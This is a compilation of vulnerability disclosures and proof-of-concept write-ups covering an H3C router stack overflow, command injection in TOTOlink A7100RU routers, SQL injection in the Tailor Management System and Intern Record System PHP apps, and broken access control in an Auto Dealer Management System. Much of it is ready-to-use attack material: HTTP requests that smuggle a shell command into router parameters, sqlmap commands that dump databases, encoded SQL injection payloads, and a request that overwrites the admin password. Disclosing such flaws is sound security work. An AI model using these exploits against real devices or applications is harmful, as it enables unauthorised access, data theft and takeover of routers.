aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/mncovpK.png) And you can write your own exp to get the root shell.

CVE-2023-27804: H3C Magic R100 was discovered stack overflow via the DelvsList interface at /goform/aspForm - HackMD

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the pppoeAcName parameter at /setting/setWanIeCfg.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取pppoeAcName参数下的内容传递给v35，之后将v35带入到Uci\_Set\_Str\_By\_Idx函数中

在Uci\_Set\_Str\_By\_Idx函数中，程序将a5带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setWanIeCfg",
"pppoeAcName":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2023-26978: ttt/28 at main · Am1ngl/ttt

TOTOlink A7100RU(V7.4cu.2313_B20191024) was discovered to contain a command injection vulnerability via the org parameter at setting/delStaticDhcpRules.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取org参数下的内容传递给v4，之后将v4带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"org":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2023-26848: ttt/23 at main · Am1ngl/ttt

SQL injection vulnerability found in Tailor Management System v.1 allows a remote authenticated attacker to execute arbitrary code via the customer parameter of the email.php page.

**CVE-s + Tailor Management System V.1**

> \[Vulnerability Type\]
> 
> > SQL Injection

> \[Affected Component\]
> 
> > as you can see in email.php line 50 $result = $pdo->query("SELECT email FROM customer WHERE fullname='$customer'"); the parameter "$customer" is not filtered ,and without prepare statement .

> \[Attack Type\]
> 
> > Remote

> \[Attack Vectors\]
> 
> > you have to be authenticated , go to email.php file and full all the inputs with the necessary information, intercept the request using burp suite, and in the request you will see the method is post and the customer parameter will be exploitable , you will save the request and using sqlmap to exploit the vulnerability . Parameter: #1\* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: customer=0' AND (SELECT 2532 FROM (SELECT(SLEEP(5)))ZLDl) AND 'Dfud'='Dfud&template=Your Clothes are ready for collection. Thanks for your patronage&message=Dear 0, Your Clothes are ready for collection. Thanks for your patronage

> \[Discoverer\]
> 
> > Abdallah Fouad , Bassam Assiri

> \[Vendor of Product\]
> 
> > SourceCodester

> \[Affected Product Code Base\]
> 
> > Tailor Management System V.1

RISK: High

> \[Vulnerability Type\]
> 
> > SQL Injection

> \[Affected Component\]
> 
> > by reviewing the source code, $oldd = $pdo->query("SELECT \* FROM customer WHERE id='".$eid."'"); line 90 $eid = $\_GET\["id"\]; line 41 no validation found while execution the query

> \[Attack Type\]
> 
> > Remote

> \[Attack Vectors\]
> 
> > after login navigate the this page : http://localhost/tailor/customeredit.php , and edit the user data you will see the parameter reflected in url like this : http://localhost/tailor/customeredit.php?id=1 , using the sqlmap with this link you should see the following Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 8449=8449 AND 'iurJ'='iurJ Type: time-based blind Title: MySQL < 5.0.12 OR time-based blind (heavy query) Payload: id=1' OR 3412=BENCHMARK(5000000,MD5(0x67504658)) AND 'Vzxv'='Vzxv Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: id=-2894' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171787671,0x526c664b74446c5277577653754f7146475152747377417975734579655658764766626e6869694a,0x7178787671),NULL,NULL-- pUIM

> \[Discoverer\]
> 
> > Abdallah Fouad , Bassam Assiri

> \[Vendor of Product\]
> 
> > SourceCodester

> \[Affected Product Code Base\]
> 
> > Tailor Management System V.1

RISK: High

> \[Vulnerability Type\]
> 
> > SQL Injection

> \[Affected Component\]
> 
> > by reviewing the source code in document.php from line 43 to line 57 ( $detail = $\_POST\["detail"\]; ) ,execute the query in line 57 $res = $pdo->exec("INSERT INTO documents SET title='".$title."', detail='".$detail."', img='".$bgimg."'");

> \[Attack Type\]
> 
> > Remote

> \[Attack Vectors\]
> 
> > login and go http://localhost/tailor/document.php , set the document title and send the request , by intercept the request using burp suite and save the request and send it request to sqlmap this will confirm the vulnerability exist Parameter: MULTIPART #1\* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundaryvizUXbIL1AEu2VY4 Content-Disposition: form-data; name="title" ------WebKitFormBoundaryvizUXbIL1AEu2VY4 Content-Disposition: form-data; name="detail" aa' AND (SELECT 2393 FROM (SELECT(SLEEP(5)))JGfe) AND 'keIn'='keIn ------WebKitFormBoundaryvizUXbIL1AEu2VY4 Content-Disposition: form-data; name="bgimg"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryvizUXbIL1AEu2VY4--

> \[Discoverer\]
> 
> > Abdallah Fouad , Bassam Assiri

> \[Vendor of Product\]
> 
> > SourceCodester

> \[Affected Product Code Base\]
> 
> > Tailor Management System V.1

RISK: High

> \[Vulnerability Type\]
> 
> > SQL Injection

> \[Affected Component\]
> 
> > by reviewing the source code in document.php from line 42 to line 57 ( $title = $\_POST\["title"\]; ) ,execute the query in line 57 $res = $pdo->exec("INSERT INTO documents SET title='".$title."', detail='".$detail."', img='".$bgimg."'");

> \[Attack Type\]
> 
> > Remote

> \[Discoverer\]
> 
> > Abdallah Fouad , Bassam Assiri

> \[Vendor of Product\]
> 
> > SourceCodester

> \[Affected Product Code Base\]
> 
> > Tailor Management System V.1

RISK: High

> \[Vulnerability Type\]
> 
> > SQL Injection

> \[Affected Component\]
> 
> > After reviewing the source code for the software, I found that in orderadd.php file using unsafe way to insert the data from the requests without any validation. from line number 45 (the query ),and execute the query in line 54.

> \[Attack Type\]
> 
> > Remote

> \[Attack Vectors\]
> 
> > after login go to http://localhost:8080/tailor/tailor/orderadd.php page , then full out all the form , intercept the request by using burp suite and by using sqlmap with inject able point from the POST request { customer=_&desc=test&date\_received=&amount=1&paid=1&completed=Yes&date\_collected=2020-12-26 } , the customer. sqlmap data : (custom) POST parameter '#1_' is vulnerable. Do you want to keep testing the others (if any)? \[y/N\] N sqlmap identified the following injection point(s) with a total of 93 HTTP(s) requests: --- Parameter: #1\* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: customer=' AND (SELECT 9665 FROM (SELECT(SLEEP(5)))QEDW) AND 'dcCY'='dcCY&desc=
> > 
> > X&date\_receiv ed=&amount=1&paid=1&completed=Yes&date\_collected=2020-12-26 ==================================================================================--------

> \[Discoverer\]
> 
> > Abdallah Fouad Mohamed

> \[Vendor of Product\]
> 
> > SourceCodester

> \[Affected Product Code Base\]
> 
> > Tailor Management System V.1

RISK: High

Impact: he impact SQL injection can have on a business is far-reaching. A successful attack may result in the unauthorized viewing of user lists, the deletion of entire tables and, in certain cases, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.

CVE-2020-36071: CVE-s/README.md at main · Abdallah-Fouad-X/CVE-s

Auto Dealer Management System version 1.0 suffers from a broken access control vulnerability

# Exploit Title: Auto Dealer Management System 1.0 - Broken Access Control Exploit

It leads to compromise of all application accounts by accessing the ?page=user/list with low privileged user account

### Date:   
> 18 February 2023

### CVE Assigned: **[CVE-2023-0916](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0916)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0916) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0916)

### Author:   
> Muhammad Navaid Zafar Ansari  
### Vendor Homepage:  
> https://www.sourcecodester.com  
### Software Link:  
> [Auto Dealer Management System](https://www.sourcecodester.com/php/15371/auto-dealer-management-system-phpoop-free-source-code.html)  
### Version:  
> v 1.0  
### Broken Authentication:  
> Broken Access Control is a type of security vulnerability that occurs when a web application fails to properly restrict users' access to certain resources and functionality. Access control is the process of ensuring that users are authorized to access only the resources and functionality that they are supposed to. Broken Access Control can occur due to poor implementation of access controls in the application, failure to validate input, or insufficient testing and review.

# Tested On: Windows 11 

### Affected Page:  
> list.php , manage_user.php

> On these page, application isn't verifying the authorization mechanism. Due to that, all the parameters are vulnerable to broken access control and low privilege user could view the list of user's and change any user password to access it.

### Description:  
> Broken access control allows low privilege attacker to change password of all application users

### Proof of Concept:  
> Following steps are involved:  
1. Visit the vulnerable page: ?page=user/list  
2. Click on Action and Edit the password of Admin

![image](https://user-images.githubusercontent.com/123810418/219884701-0f1feb4f-6c8a-4299-b510-1762461910ee.png)

4. Update the Password and Submit

5. Request:  
```  
POST /adms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
Content-Length: 877  
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"  
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfODLB5j55MvB5pGU  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/adms/admin/?page=user/manage_user&id=1  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=c1ig2qf0q44toal7cqbqvikli5  
Connection: close

------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="id"

1  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="firstname"

Adminstrator  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="middlename"

------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="lastname"

Admin  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="username"

admin  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="password"

admin123  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="type"

1  
------WebKitFormBoundaryfODLB5j55MvB5pGU  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream

------WebKitFormBoundaryfODLB5j55MvB5pGU--

```  
6. Successful exploit screenshots are below (without cookie parameter)  
![image](https://user-images.githubusercontent.com/123810418/219884923-5283fca6-d509-4c48-9db0-f61ea6dbb352.png)

7. Vulnerable Code Snippets:

![image](https://user-images.githubusercontent.com/123810418/219884994-e74d7d48-4d45-4135-9a38-45e26c65434b.png)

![image](https://user-images.githubusercontent.com/123810418/219885023-a76afbe0-88f0-4aaa-89cd-1e541e511427.png)

### Recommendation:  
> Whoever uses this CMS, should update the authorization mechanism on top of the  list.php , manage_user.php pages as per requirement to avoid a Broken Access Control attack

Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo

Auto Dealer Management System 1.0 Broken Access Control

Intern Record System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Intern Record System v1.0 - SQL Injection (Unauthenticated)# Date: 2022-06-09# Exploit Author: Hamdi Sevben# Vendor Homepage: https://code-projects.org/intern-record-system-in-php-with-source-code/# Software Link: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip# Version: 1.0# Tested on: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53# CVE: CVE-2022-40347# References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40347https://github.com/h4md153v63n/CVE-2022-40347_Intern-Record-System-phone-V1.0-SQL-Injection-Vulnerability-Unauthenticated------------------------------------------------------------------------------------1. Description:----------------------Intern Record System 1.0 allows SQL Injection via parameters 'phone', 'email', 'deptType' and 'name' in /intern/controller.php Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latest vulnerabilities in the underlying database.2. Proof of Concept:----------------------In sqlmap use 'phone', 'email', 'deptType' or 'name' parameter to dump 'department' database. Then run SQLmap to extract the data from the database:sqlmap.py -u "http://localhost/intern/controller.php" -p "deptType" --risk="3" --level="3" --method="POST" --data="phone=&email=&deptType=test&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dumpsqlmap.py -u "http://localhost/intern/controller.php" -p "email" --risk="3" --level="3" --method="POST" --data="phone=&email=test&deptType=3&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dumpsqlmap.py -u "http://localhost/intern/controller.php" -p "name" --risk="3" --level="3" --method="POST" --data="phone=&email=&deptType=3&name=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dumpsqlmap.py -u "http://localhost/intern/controller.php" -p "phone" --risk="3" --level="3" --method="POST" --data="phone=test&email=&deptType=3&name=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/intern/" --dbms="MySQL" --batch --dbs -D department --dump3. Example payload:-----------------------1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%274. Burpsuite request on 'phone' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 317Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&email=&deptType=3&name=5. Burpsuite request on 'email' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 317Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=&email=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&deptType=3&name=6. Burpsuite request on 'deptType' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 316Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=&email=&deptType=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&name=7. Burpsuite request on 'name' parameter:----------------------POST /intern/controller.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheContent-Length: 317Content-Type: application/x-www-form-urlencodedReferer: http://localhost/intern/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36phone=&email=&deptType=3&name=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

Tag

#webkit